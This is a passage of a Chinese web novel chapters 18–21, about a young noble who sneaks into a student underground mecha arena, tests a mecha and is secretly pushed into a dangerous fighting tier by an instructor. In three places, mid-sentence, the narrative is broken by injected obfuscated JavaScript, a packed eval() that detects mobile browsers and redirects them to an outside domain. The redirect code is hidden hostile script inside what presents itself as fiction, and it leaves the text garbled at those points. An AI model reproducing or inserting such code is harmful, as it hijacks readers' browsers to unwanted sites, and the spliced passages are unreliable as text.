温德夏特知道不该把这么私密的东西随便放着,宿舍里也不是没有高规格保险箱,但问题在于,温德夏特根本不知道密码。 生日试了,学号试了,连原主最爱的梅克尔的生日和学号也都试了,没一个对的。 他曾经暴力拆开过一个密码箱,折腾俩小时,爆出来几千份情书。 大致一瞄,表白对象还都不同。 温德夏特气笑了,自此打消了动那些保险箱的念头。 不过他发现,原主为了取放方便,只会占用上面三层抽屉,底下的全空着。 如果日后叫人拿东西,总不会翻到贴地这里。 “哥。”咚咚两声,隔门传来卡修的声音,“我到了,开下门。” 温德夏特大步飞奔去开门,露出个明朗笑容,“小修你来啦!” 卡修把手里的芒果千层递过去,眼神掠过温德夏特,最终定格在空中那虚影身上,“你又把A.L.开通了?” 温德夏特用脚够出来一双拖鞋,提声,“对呀,我有什么不懂的都可以直接问他,挺方便的。” 卡修一脱一套,提溜着人字拖闷头往里走,“现在我在,你可以直接问我了。” A.L.环臂哼笑,“你跟我个死了八百年的争什么风吃什么醋?” 卡修懒得理睬,从容踱步到圆桌前落座,垂下眼帘,将A.L.无视个彻底。 前半小时,温德夏特抿着蛋糕,悠哉悠哉听卡修分析案例,后一个半小时,卡修掏出一本板砖厚度的牛皮手札,将桌面擦净,平铺开来。 第一页正中间是康曼德家的家徽图腾,两条长蛇绕着七芒星。 图腾下跟着一长串名字,花体书写。最顶上的名字已经被血迹斑驳了,能看出后来被人重重描了几遍,但还是看不清楚,底下俩名字倒是格外清晰: -Windscheidmander -Cashewmander 不难看出,这是一本世代相传的宝贵经验。 翻开正页,左侧空落落,只排着一行小字: [异种所到之处,万物无存。] 从下一页开始,简约风格大变。图盖着文,文叠着图,密密麻麻叫人眼花缭乱。 无数个形态各异的异种被详细记录下来,温德夏特恨不能把眼球扣下来粘在纸上。 手札里内容庞杂,有一些修改补充的痕迹,还有大量空白待补全的异种记录。 温德夏特清楚,上辈子突然出现的那怪物是他心里一根无法拔除的尖刺。 他低头凝着厚书,看着看着就入神了,热腾的呼吸喷洒在页脚,眉头皱得酸涩,刚想揉,一抬头就对上卡修那双冷静的眼眸。 “我怎么不知道你对异种这么感兴趣?” 卡修颇感意外,“这异种手札原本是在你手上的,你嫌恶心,扔给我了。” 温德夏特抿唇微笑,“当初有点害怕,现在再看还是挺有意思的。” 卡修往他那边一推,“那你留着看吧,别外传就行。” 温德夏特愣住,“你不要?” 这可是难以用金钱衡量的宝贝! “我早背完了。”卡修寡淡垂眸,看了眼光脑,起身,“时间差不多了,我还有些学生会的事情要处理,先走一步。” 温德夏特跟着他起身,瞥见杯子里还剩个白底,指了指,“喝干净再走。” 卡修乖顺地端起牛奶一口闷,嘴边溜了一圈白,“明天见,哥。” 温德夏特递去一张纸巾,“明天见。” 温德夏特送卡修到门口,门关上的一刹那,面色陡然凝重。 他快步回到桌前,小心翼翼来回翻了几遍,虽然没找到上辈子那异种,但找到了不少特征相似的。 特征相似,就代表着弱点相似。 好杀。 * 晚十点十二分,阿舍尔光脑一震。 【温德夏特:过来吧。】 虽然已经有所预料,但看到消息的那一刹,自己的心脏还是没出息地漏跳了半拍。 阿舍尔深呼出一口气,犹豫片刻,换上一身紧身无袖背心,套着皮衣骑上摩托,惴惴不安奔赴楼底。 弯月下,雄虫乖巧站在门口,双手捧着捂在嘴前,呼呼吹热气。 车灯一照,小脸白得反光,鼻尖耳尖冻得红艳艳,精灵一样,比月亮还澄澈皎洁。 温德夏特眯着眼,目光从机车移到阿舍尔身上,一咧嘴。 哦,我亲爱的三百二十万。 阿舍尔看呆了,整栋宿舍楼仿佛都沦为了一副泛着珠光波点的巨大的画作。 阿舍尔只觉得一道火辣目光灼烧着自己,要是往日他定会想逃,可如今竟有些沾沾自喜。 他胸脯一挺,若无其事地拍了拍后座,“过来,上车。” 温德夏特唇角勾起,长腿一跨,“换衣服了?” “嗯。”阿舍尔摆着酷劲儿,不苟言笑,“别多想,不是为了你,是待会儿打起来会出汗,穿清凉点舒服。” “冤枉啊,我明明什么都没说。” 温德夏特无辜,食指和中指一夹,坏心眼晃了晃阿舍尔胸前的银色项链,“这也是为了打起来舒服?负责平衡?” 温德夏特说话的时候,热气直接喷洒在阿舍尔后颈,痒痒的,烫烫的,惹得他一个瑟缩。阿舍尔头一低,手一拧,炸毛开车不说话了。 风声从耳边呼啸而过,掺杂着后方低沉沉的笑,腰间盘着微凉的臂弯,肌肤相接处却炙热。 阿舍尔手心全是汗,肌肉比在赛场上还要紧绷。一扭油门,速度提高,腰上虚浮的触觉有了实感;再一扭,机车快上加快,腰间被搂得更紧。 哪怕现在是在狂风中,砰砰的心跳声也异常明显,他…他有点搞不懂自己。 机车一摆尾,“呲啦”一声响,潇洒停在酒吧旁边。 空气中弥漫着酒精的迷醉味道,霓虹灯招牌光影交错,映得脸一半蓝一半粉。 “到了,下车。”阿舍尔心情复杂,车也不锁了,闷头带路。 “呜呼——爽噢!”温德夏特翻身下去,用手捋了把被风冲乱的头发,快步追上死命往前赶的阿舍尔,拍他肩膀,“嘿,别生气嘛。” “生气?我哪敢?”阿舍尔落座高脚凳,给酒保使了个眼色,酒保取冰调酒一气呵成,显然对这位熟客的口味了如指掌。 阿舍尔自始没再敢跟温德夏特对视,一个劲儿盯着酒水单,敲击两下,“你要点什么?” 温德夏特摆手,“还在恢复期,戒酒。” 阿舍尔这才瞥他一眼,又迅速移开视线,“行。” 酒保把调好的蓝色酒液推到桌沿,阿舍尔捏着杯口刚抬手,还没怼到唇边,又听见温德夏特说: “你也少喝,待会儿上场又不是去打醉拳的。” “噢。” 阿舍尔手臂顿在空中,上也不是下也不是,他僵硬转动脖子,目光锁定一个熟悉面孔,高声呼唤: “王八蛋,对,就是你!过来,我请你喝一杯。” 那壮硕雌虫明显是阿舍尔的老朋友,从他们刚进门就一直盯着这边,如今听到阿舍尔叫自己,嘿嘿一乐,挽起袖口打趣; “今天开了眼了,第一次见有神通能治你小子!” 阿舍尔抬肘一撞,“多什么嘴,你他妈爱喝不喝。” 阿舍尔刚要撤手,就被雌虫朋友一把抓住,“喝!白得的酒,哪有不喝的道理?” 阿舍尔懒得多搭理,一个白眼把酒杯递过去,侧身对温德夏特说: “你在这儿呆着别乱跑,我去给你开开路,要不了两分钟就回来。” 温德夏特一点头,阿舍尔转身就走。 那雌虫嘴一叼一仰,给温德夏特抛个眉眼,也转身跟上,酒入舌出,“诶,阿舍尔,你跟那个小帅哥是什么关系啊?改天一起去吃顿饭呗,我请客。” “他?”阿舍尔漫不经心,“温德夏特。” “你快别说笑了,我认真的。”那雌虫捂住心口,“他真漂亮,我好像一见钟情了。” 阿舍尔扯着嘴冷笑,上下扫视自己的朋友。 雌虫对这看弱智一样的表情再熟悉不过,瞪大双眼,“你认真的?” “真假?!温德夏特?!!” 阿舍尔一脚踹开厕所的门,气势昂扬,“尿尿的都擦干净冲下去,拉屎的现在夹断憋住,喝吐了的抠嗓子赶紧吐。酒吧前台报我阿舍尔的名字,一虫一杯龙舌兰。” 此话一出,厕所里场面火热。 阿舍尔颇为满意,侧头看了眼还在出神的雌虫朋友,一拳把他揍回神,“你在这儿堵着,看好场子,别让其他虫进来。” 雌虫反应过来,“你要带温德夏特进去?他可是雄虫阁下!” 阿舍尔微微张口,佯装惊讶,露出一副矫揉造作的作态,“啊…没跟你说吗,是尊贵的温德夏特康曼德阁下自己说想要来看我的比赛,要多了解了解我,要给我加油呐喊。” 他轻轻一笑,“被你一见钟情的雄虫偏爱了,真是抱歉。” 雌虫闻言,对准他屁股就是一脚,“操,快滚,你真他大爷的贱!” 阿舍尔心情大好,美滋滋借力走了,那雌虫朋友留在原地驻守,思来想去觉得不该由自己一虫承受这一切,登上校园论坛,迅速发了个帖子: 【我操你们知道温德夏特素颜有多漂亮吗?】 【L1:??】 【L2:压力太大学疯一个。】 … 【L12:鉴定为假,把卡修阁下认错了吧?】 … 【L35:难不成我那天见到的黑发碧瞳的貌美小虫是温德夏特??】 … 【L145:我靠啊真的,我有天在食堂偶遇了卡修阁下,他身边跟着一个巨漂亮的虫,特般配,我还以为是情人什么的…就像现在的指挥首席那样爱上自家人~~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357209|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在想想,极有可能是温德夏特!】 … 【L155:上面别扯首席阁下的事啊!!肯定要被封贴了orz】 【您所浏览的帖子已不存在。】 这帖子还没来得及发酵就消失了,不过还是有一些闲话口口流传,风起云涌中,温德夏特跟在阿舍尔身后来到了雌厕门口。 他恍然大悟,“原来黑擂台入口在这里…” 这么奇葩,怪不得没一个雄虫知道。 阿舍尔以为他嫌弃,解释:“别担心,我已经清过场了。” 温德夏特好歹有着一世当雌虫的经验,豪横摆手,“害,这倒没事,又不是没……” 阿舍尔抬眼,“没什么?” 温德夏特抿唇,“没什么。” 阿舍尔眉头蹙起,“没什么?” 温德夏特笑盈盈拉住阿舍尔手腕,甜腻地往前带,“没什么!真没什么!我们快进去吧~” 路过那雌虫时,温德夏特特意眨巴眼睛嘱咐:“别对外说好吗?我不想让卡修知道。” 那雌虫双脚一并,敬礼,“遵命亲爱的!” “诶?” 阿舍尔反手拉住温德夏特手腕,开启暗门等电梯,“他喝醉了发酒疯,别管。” 温德夏特噗一声笑出来,“那你喝醉了也会管我叫‘亲爱的’吗?” 阿舍尔肌肉一僵,陷入沉默。等两虫踏入电梯后,温德夏特才听到身后一声细若蚊蝇的回应: “…我喝不醉。” 阿舍尔递过来一个眼镜样式的东西,似乎不想让温德夏特再追问,急切开口介绍: “这东西是光学迷彩,你自己戴一下。戴上之后会随机生成一张光学防识脸,虽然也有变声效果,但进去后还是要少说话,保护好自己,更不要暴露你的大少爷身份,如果要找我的话,就叫我的代号。” “黑犬?” “对。” “黑厂里面还有一些不成文的规矩,不过你不用知道。” 阿舍尔点开迷彩开关,一张陌生的脸笼罩下来。他脸一变,胆子似乎也变大了点,主动牵住温德夏特的手,“我领你去亲友席落坐,接下来静静看着我就好。” 电梯门开,音乐震颤,色彩泛滥。 这里黑擂台的规格比康曼德星球要大上不少,而且相当正式,不存在地上画个圈就是擂台的情况。 仔细想想也不难理解,毕竟参赛选手都是学生,而且是各个星球选拔出来的少年天骄,容不得一点折损。 学院明面上没说,但已经默许了作战系的同学借此途径提升战斗能力,为确保安全,学院甚至暗里派送了几位老师轮流值班,将所有参赛生分为狼、虎、鬼、龙、神5个由弱到强的层级,只允许同级之内进行匹配比拼。 不同层级之间待遇不同,小到场地规格,大到机甲保险,都有着不可忽略的差距。 这也是为什么所有虫都会攒着劲儿往金字塔顶挤。 在这前仆后继的浪潮中,阿舍尔毋庸置疑是颗冉冉升起的战斗新星。开局一台常规款轻型机甲,仅仅一年时间,直接从底端的狼级飙到了龙级。 【173号中级擂台:黑犬 v.s. 刺灵】 【请双方选手及时就位】 轻型机甲机身流畅,多为锋刃型作战机甲,以灵动轻巧闻名,极少带炮,顶多肩部配一对16联发火箭巢用以援护辅助。 轻型作战机甲具有强侧面作战能力,可以实现快速突击战术,装配着顶级的即时加速喷气设备,支持在短时间内从超低速加速到最大战速。 从战术层面上讲,轻型机甲机动性极强,高闪避的同时兼具进攻性,在队伍中一般作为先锋,负责侦查、探视、首攻。 看见阿舍尔机甲的那一刹,温德夏特都有点舍不得放他走了。 A+级机甲,四分瑰丽,六分灵巧,机身侧身单立,镀层漆黑,带着淡蓝色的莹莹反光。 长.枪压地,动魄惊心。 一声电子哨响撕裂了寂静,黑犬腾空跃起,硬起一个暴击,金属碰金属,锃出无数闪亮的蓝白火花! 那样的明亮,光芒甚至模糊了他机甲的黑暗。一块飞火奔着温德夏特而去,温德夏特下意识去躲,那火团却像是突然撞上了什么屏障,在半空中受阻熄灭。 是擂台的电磁保护罩。 温德夏特离主擂台太近,哪怕已经知道了战斗波及不到自己,还是被激出了一身的鸡皮疙瘩,火光交加,闪得他险些飞泪。 他强迫自己冷静,恐惧和慌张渐渐消退,思维变得清晰,脑中快速构建起进攻防守时的框架和要点。 场下,各种声音如潮水般翻涌: “今天黑犬怎么主动出击了?不像是他的风格啊!” “我靠,打这么凶?晋级赛吗?” “没,就普通赛程啊……” “快看那边,亲友观赏席坐着一位呢,怪不得!” 众虫闻言望去,聊得火热,纷纷猜测他的身份。 “温德夏特·康曼德……” 黑擂台的至高平台,一雌虫低声呢喃。 他挂着金框单片眼镜,穿着黑色呢子大衣,儒雅风流,凝神盯了半天,突然揶揄一笑。 “哈,这不是我的小未婚夫吗?” 19. chapter019 *chapter019* *出门在外,身份是自己给的* 温德夏特目不转睛,听着场上的碰撞:砰、砰、砰…… 砰! 他眸子一惊,兀的起身。 这声音不是来自赛场,而是紧挨身后! 亲友席只有经过参赛者认证后才能进入,如今战斗已经开始,阿舍尔困在台上,本应不该再有虫进来。 温德夏特用警惕的目光打量来者,那雌虫抿着苏格兰威士忌酸酒,潇洒自在,跟他四目相对,大眼瞪小眼。 片刻静默,温德夏特先开口: “你是?” “啊,忘了自我介绍…” 雌虫没有佩戴光学迷彩,颇有诚意,放下酒杯将身份全盘托出,“我是贾斯帕·麦克尼什,学院指派的看场老师之一。” 温德夏特反应过来,麦克尼什家族的新一届家主还在选拔,而眼前这位正是极被看好的种子选手。 未来多多少少跟他沾点关系。 温德夏特硬着头皮回:“老师好。” “嗯,你也好。”贾斯帕落落大方,仿佛不认为自己是个中途来的入侵者,竖着双狭长的眼睛,毫不掩饰地打量温德夏特,“我第一次见黑犬带亲友来,你很特殊啊。” “只是朋友。” “那一定是很重要的朋友。” 温德夏特被他盯得一阵恶寒,不再搭腔,目光重新移回台上。 贾斯帕自顾自开口:“黑犬这孩子苦啊,能熬出头实在不容易…掉皮掉肉不掉泪,对别人狠,对自己更狠。” “怎么说?” “去年他雌父被卷入了一场暴动,肚子上被异种扎了个孔,肠子都穿了,肋骨也裂成了几截。你知道的,雌虫恢复能力强,但生育后的雌虫体虚得跟雄虫一样,那伤势,简直十死无生。所有人都在劝他放弃,但那小子倔,非攒钱治,把他原本的高级机甲卖了,找我换了一台次等的常规款。” 贾斯帕若无其事走到温德夏特身边,与他并肩站立,“好好的轻型机甲潜力股,这样一闹,钱也没了,地位也没了,闹到最后,他雌父也没了,你说他图什么?要不是当时正碰上我手底下的俱乐部扩招,他现在指不定饿死在哪个街头巷尾呢。” 温德夏特第一次听到阿舍尔的过往,双目震颤,“…除了金钱与地位,这个世界上还有很多很多更加珍贵的东西。” “是吗?你是这样想的吗?” 贾斯帕咯咯一乐,“怪不得你们能成为朋友。你也是作战系的?” “嗯,我刚转校过来,没进任何俱乐部,也没来得及买机甲。” 贾斯帕面色淡然放下酒杯,“噢这样。” 没了后话。 刚刚的暗示已经足够明显,温德夏特不信贾斯帕听不出来。 现在装模作样,显然是在刁难他。 温德夏特从善如流,讪笑搭话:“老师,您俱乐部那边还有富余的机甲吗?” 贾斯帕脱口而出,“当然有啊。” “可不可以让我……” 贾斯帕轻飘飘地笑,直接打断,“你有钱吗?” 温德夏特一哽,“目前没多少,但我可以攒。” “怪不得你们能成为朋友。” 贾斯帕又强调一遍,歪头看他,“不知道你是不是误会了,我这儿的招收标准不是穷,而是实力。黑犬那小子人穷志不穷,一年下来给我盈了不少利,你这细胳膊细腿儿,都不用人揍,风一吹就折了,能上什么擂台赚什么钱?” 温德夏特沉默半晌,“黑犬那台机甲的承重脊尾是你改造的吗?” “是我,怎么了?” “我看他每次发力前都会打滑,还有固定前摇,传力机构里用的是圆柱弹簧吧?不如换成矩形弹簧,更符合高速压缩和超重负荷的需求,还能提高承载能力,延长使用寿命。” 贾斯帕有些惊讶,目光戏谑,“作战系还教这些?” 温德夏特牢记地球上的一句古话——出门在外,身份是自己给的。他义正言辞: “我辅修机械师。” 贾斯帕盯着他看了半天,忽的笑出声,“噗……你说得对,但圆柱弹簧损耗更大,能提高机甲返厂维修的频率。这看似是不值一提的小钱,但积少成多,我俱乐部下成千上万个成员都按时乖乖找我保修,能定时提供一笔相当可观的收入。” 温德夏特被贾斯帕毫无下限的商人思维震惊了。 “不过,跟我来吧,我带你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14357210|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去机甲仓溜达一圈。” 贾斯帕说罢就转身离开,温德夏特分给台上几秒目光,那里打得激烈,没半个小时不会分出胜负。 他大步流星跟上。 一出包厢,周围人或静止或游荡,目光都盯着这边。这小瘦虫,光是黑犬亲友这一层身份就足够引人好奇,现在竟然还跟贾斯帕扯上了关系,简直高调得不能再高调。 贾斯帕突然站定,冷脸一扫,周围霎时间安静如鸡,一切探究的目光都消失了。 温德夏特不由得多看了他几眼。 贾斯帕把大衣一脱,上衣全是粗鲁的锈迹和血色,钻进了机甲维修间。 维修间内竖着数不清的机甲,种类丰富,样式齐全,温德夏特看得眼前一亮又一亮,着迷了,嘴角难以遏制地上扬。 “代号。” 贾斯帕打个响指让他回神,“嘿,你代号是什么。” 温德夏特一激灵,“没代号,我的编号是3819901。” 贾斯帕气笑,放下想要检索战绩的手,“连代号都没有就敢向我讨机甲,真佩服你的勇气。” “要什么机型?” “轻型。” 机甲类型跟队内定位和战斗风格都有很大关系,温德夏特上辈子就擅潜伏、精刺杀,多身法走位,少无脑硬抗。 中型机甲对他来说都稍显笨重,重型机甲可想而知。更何况,机甲越重,操作时对力量的要求就越大,以雄虫的身体素质,绝不可能做到长时间驾驶。 综合来看,轻型机甲是最优选。 贾斯帕闻言,爽利递给他一个感应手环,“001基础款,你先上去打一架,让我看看。” 温德夏特接过手环,“跟谁打?” 贾斯帕扬了扬下巴,“喏,我刚研发出来的机甲战士,还在试验阶段,下手没轻没重的。” 那机甲战士手拎光剑,庞大的身躯极具侵略性,宛若一座钢山。贾斯帕话音刚落,机甲便双目闪亮,染得室内一片猩红。 温德夏特倒吸一口凉气。 贾斯帕咧嘴笑,“怎么,怕了吗?” 温德夏特动作敏捷,一个借力翻身而上,精准入舱,手握住右侧瑶杆大力一拧,用拳头回应了贾斯帕的嘲讽。 20. chapter020 *chapter020* *烂命一条就是干* 机甲舱内,温德夏特有点想骂爹。 俗话说没吃过猪肉也总见过猪跑,他上辈子虽然没有属于自己的机甲,但对简单的驾驶还是手拿把掐的。 温德夏特自信摇动手柄想抬腿,底下没动,上面动了——右臂“嗖”一下破空斩出,好悬没把贾斯帕的脑袋削下来! 一捋金发缓缓飘落,酒杯随之坠地,摔个稀碎。 温德夏特傻眼了。 贾斯帕傻眼了。 对面机甲也傻眼了,在一片死寂中报错: [已穷尽数据库,未识别出该招式,请及时更新扩容!] 贾斯帕听见这话,一时间不知道是该生温德夏特的气还是该生那傻逼机甲的气。 血压一股股冲击着天灵盖,理智跟玻璃碴子一样,碎了满地。 “你个混蛋!我是说对面那机甲下手没轻没重!不是让你下手没轻没重!” 贾斯帕一贯优雅的面容骤然崩裂,横眉竖目,“你那机甲的指示灯都没亮,开个什么劲儿呢,嗯?晃悠几下摇杆,当小屁孩在玩过家家呢?” 贾斯帕想过温德夏特会出糗,但没想到他连启动机甲都不会。刚刚看他飞身进舱的动作还算潇洒,还以为他至少会一点基本功呢! 哈,真是高看他了! 贾斯帕呼哧呼哧喘几口粗气,调整好情绪,压着脾气说:“你现在就在座位上坐好,把感应手环脱下来,放到正前方面板底下的接口里。” 温德夏特听话照做,手环在进入凹槽的那一刹迸发出亮蓝色光芒,中枢面板启动,不仅呈现出了正前方的视野,还有各个方向的小图视角。 只要察觉到目光锁定就能放大。 这么方便! 温德夏特舔了舔上唇,满脸兴奋。 他竖着耳朵等待下文,没等到贾斯帕的声音,却等到了汩汩水声。低头一看,无色液体已经没过了鞋底,正以惊人的速度充满整个驾驶舱。 温德夏特翘脚,“哇,舱内漏水了啊老师!” “这是缓冲液,里面含有大量溶解氧和充足的小分子能源物质,够你在里面不吃不喝活三天的。” 贾斯帕用手指掐着眉心,“你别憋气,放轻松,让液体灌入肺泡。” 温德夏特唇缝翕动,抿了口。 脸顿时皱成了饺子。 呸呸呸,涩!麻!难喝! 液体迅速填满了内舱,座椅在这时自动折叠收起,温德夏特顺势起身,感觉自己在漂浮。 四肢舒展,运动时稍有些阻力,但完全不会影响速度。 “可以了,机甲跟你的动作已经同频。摇杆是驾驶员感应失灵时做紧急制动用的,如果机甲与虫体连接正常,根本就不用去瞎动。” 贾斯帕介绍完,最后的耐心也被耗尽,踹机甲小腿一脚,“现在滚远点,给我上擂台打去!” 他口中的擂台就在不远处,不是标准战斗擂台,应该是供前来保修的选手检查机甲功能使用的。 温德夏特试着抬腿,机甲果然也跟着抬腿。 好神奇…热感定位吗? 他溜达几步,走起路来自在,不像在开机甲,倒像是喝了什么变大药水,把自己变成了几米高的金属巨人。 贾斯帕看着来气,催促:“上擂台!” 温德夏特悻悻爬上去。 对面,机甲战士蓄势待发。 温德夏特右手一握,用视线在控制面板上确认,凭空捏出一把光刀。 那光刀两米有余,亮得惊人,金属反射出的光芒似亡魂丧魄,杀意汹涌而出! 他们谁都没有贸然进攻,就那样围着擂台绕行,莫名的风浪盘旋起来,温德夏特提刀斩去,火星四射! 锃——! 火星在刀剑碰撞时爆溅,一开始是温德夏特占上风,刀压住剑,但很快机甲战士的蛮力就爆发出来,一举攻下上位,稳压温德夏特一头。 场面僵持,光刀光剑像小提琴弓弦似的缠绵,一个压一个托,不间断地拉扯着。 就在这时,温德夏特突然卸力,光刀骤然消失! 机甲战士顿时失了平衡,转瞬调节,跨弓步稳住,温德夏特双手扒住他大腿,顺着一溜,穿裆而出! [已穷尽数据库,未识别出该招式,请及时更新扩容…] 机甲在视野范围内没找到进攻目标,侧身回头,温德夏特猫在脚下使绊子,趁机甲再次失衡,一个过肩摔把他高高扬起,沿着最短距离扔出场外—— 猥琐又利落! 温德夏特起身走两步,从擂台另一侧跳下去,扬声器出声: “这样算是我赢了吧?” 一旁的贾斯帕又傻了,直勾勾盯着面前的机甲。 局面翻转得太快! 原本他以为温德夏特大势已去——跟机器拼蛮力,一旦力竭就必输无疑,不料他竟以这样一种出乎意料的方式从对抗中解脱,反败为胜。 “…算你赢。” “我可以给你提供机甲,你现在这套两百零五万,我给你个折扣,把零头抹了,两百万整,加上三个月免费保修期。等之后你上场作战,盈的利我们五五分成。” 温德夏特耿直:“我没钱,老板。” “这点钱都没有?” “实话实说,我现在手头上的钱还没老板你刚刚给我抹的零头多。” 八字还没一撇呢,温德夏特就一口一个“老板”甜滋滋地叫上了。贾斯帕无语凝噎,妥协:“……我免费提供机甲,战斗盈利二八分,你二我八,而且不带保修险,机甲打坏了你自费修。” 温德夏特提高音量,机甲豪爽作揖,“好的老板!” 贾斯帕一个瑟缩,下意识捂头蹲下。 温德夏特乐呵呵从机甲舱里蹦出来,“老板,老板,快起来。” 他本就是为了提高机甲作战能力才过来的,温德夏特一介雄虫,在外面正大光明讨机甲太容易生是非,倒不如在这里历练。 这里的黑擂台有安全保障,全程专虫监督,双方点到为止,鲜少出意外。 而且还能赚钱还债! 至于没有保修险的事,他以后作战时小心一点就好了,再不济就自己动手,毕竟修机甲本就是他的老本行,光买零件也用不了多少钱。 嗯,百利一害的好事,妥了! 虽然以后每次进来都要路过一下雌厕。 贾斯帕拍开温德夏特的手,径自起身,后退,隔开一段距离,“进俱乐部后自动获得起名权,别人一般都会按照战斗风格起代号,你想叫什么?” 温德夏特想了想,下定主意:“烂命一条就是干。” “……好,倒也衬你。” 温德夏特看了眼光脑时间,心道不妙,跟老板知会一声就要撤。贾斯帕也没拦他,等他走后,用指纹解锁控制台右上角的一个程序,轻声呼唤: “亚当。” [贾斯帕老师您好,亚当在,请指示。] “把‘烂命一条就是干’的分组提升到龙阶。” [骤然提升组别可能会使学员与实力严重不对等的选手同台,增大受伤几率,请谨慎操作。您的操作跨越了两级,严重可致死,您确定……] 贾斯帕不耐烦打断:“我确定。” [好的,组别已提升。] 贾斯帕摘下单片眼镜,“帮我洗一下。” [好的,把镜片放入凹槽后,机器将自动开始超声波清洗。] 贾斯帕照做,无情转头,垂眸看着扫地机器人一点点清理地上的玻璃碎屑。 这样看来,温德夏特根本不知道看场老师的特权——明视镜片。 通过那镜片,所有的光学迷彩都无处遁形,学生们的真实面孔经虫脸识别后会自动弹出基础资料,方便看场老师组织安排。 当时他看到亲友席 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14357211|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的温德夏特,摸着下巴咂摸了良久。 虽然比想象中的要漂亮有趣,但论含金量,还是远远比不上卡修。 贾斯帕目中的迟疑逐渐坚定。 温德夏特一死,自己未来的配偶就只会是卡修,那位天资卓越的康曼德家族继承人,那位命定的首席指挥官。 ……前途无限! 温德夏特此时已经出了黑擂台,刚关掉光学迷彩就被阿舍尔那好哥们雌虫发现,热情拉着他坐下。 温德夏特没拒绝。现在这时间,阿舍尔应该已经结束战斗,发现自己离开了,没必要上赶着回去挨骂。 应该使用迂回战术。 缓冲液的蒸发速度极快,同时会带走大量热。温德夏特已经干得差不多了,只是发尾坠着一些湿润。小脸煞白,全身冰凉。 “你这是低血糖了。”雌虫推过来一盘蛋糕,笃定道,“凑活吃点。” “谢谢。” 温德夏特低头,小口小口挖着蛋糕,浅笑着听雌虫说话。 一方张牙舞爪表现自己,一方低头抿笑含羞陪伴,那叫一个安然自在! 阿舍尔冲出来看见这一幕,只觉得一盆冰水从天灵盖浇到了尾椎骨。 抗不住了。 那自己刚刚傻逼一样四处找他算什么? 阿舍尔浑身裹挟着还未褪去的战场上的戾气,目光阴翳,扫过两人,一巴掌拍在温德夏特桌前。“啪!”嘹亮一声响,剩下半块蛋糕被巨力冲击得向空中飞去,半秒后才重新落到盘里。 温德夏特浑身一耸,收敛笑容抬眼看他。 “我赢了…你知道吗?我赢了。” 阿舍尔瞪大眼睛,情绪失控,“但是你人呢…人去哪了!是你自己说的想多了解了解我,转眼就玩失踪跟我哥们好上了?就他妈这么气我?!我就这么好欺负?!” 他哥们也身高马大,黑熊一样,左臂护住温德夏特,右手推搡阿舍尔肩膀,“癞皮狗你吼那么大声干什么!是我前不久看见他气色太差才主动搭讪让他歇一下!你都想象不出来,他当时满头冷汗,面色煞白,我第一次见他的时候他就是我见过最白的了,没想到还能更白!脸蛋也凉,手也凉……” “你他妈碰他脸蛋碰他手?” “测温测温!都什么时候了,他面色都跟死人一样了,你还在乎这点儿破事儿!” 阿舍尔没了后话,只攥紧拳头,重重地喘息。 他气急败坏,又不占理,只能自己恨自己。 温德夏特此时开口了,“你在担心我吗?” 阿舍尔头一扭,“没有!” “抱歉,刚刚我被吓到了,就先出来了……我知道你会赢,对面的机甲善爆发欠耐久,开场五分钟后就是你的主场,后面的差距只会越拉越大。” 阿舍尔闻言一怔。 他今天出于一些原因,打得格外凶,亲友席又离擂台那么近,温德夏特这样一个柔弱骄纵的废物小雄虫,以前从没接触过这么暴力血腥的场面,乍然接触,确实会有不小冲击。 而且他说,他知道自己会赢。 …哼,他当然该知道,全世界都该知道自己会赢! 阿舍尔侧目瞥去,雄虫一双青绿色眸子眼巴巴注视自己,小脸惨白,我见犹怜。 他哼哼两声,语气软下来,“那你现在好了?” “好了。”温德夏特把盘子往前推,“你要吃吗?” 阿舍尔冷笑出声,“不吃,又不是我给你买的,我配吃吗?” 温德夏特转头望向他好哥们,“那你……” 话音未落,阿舍尔脖子一抻,长颈鹿似的把头甩过来,“嗷呜”一口吞了。 他哥们拽他衣领,只恨不能跟他舌吻,“癞皮狗你又赖皮!你他妈给我吐出来!人家温德夏特说了要给我了!” 阿舍尔死倔,还没来得及咽下去就出声反驳:“他嗦了么?根本就美嗦!” 温德夏特:“……” 21. chapter021 *chapter021* *蠢蠢欲动的下属们* 此后两周,温德夏特勤勤恳恳过着他的双面虫生。 课上摆烂装菜鸡,课下摇身一变,戴好光学迷彩,成了黑擂台里臭名昭著的小煞神。 在一众规范化教学出身的好学生中,温德夏特的打法太过出挑。 粗糙,又嚣张。 他战斗风格狂放,进攻出其不意,身法滑溜似泥鳅,一场打下来,简直是裤腰耍大刀,鸡飞蛋打! 一开始还有人质疑他空降龙级,才不配位。观摩了几场,不吱声了。 